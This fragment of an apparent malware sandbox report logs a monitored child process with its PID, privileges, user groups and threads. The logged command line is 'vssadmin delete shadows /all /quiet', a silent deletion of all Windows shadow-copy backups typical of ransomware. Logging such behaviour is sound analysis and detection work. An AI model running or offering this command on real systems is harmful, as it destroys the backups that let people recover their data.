"0x746ae000" os_pid = "0x6c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x5bc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea7a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0x6c4 Thread: id = 50 os_tid = 0x6fc Thread: id = 51 os_tid = 0x714 Thread: id = 52 os_tid = 0x724 Thread: id = 53 os_tid = 0x728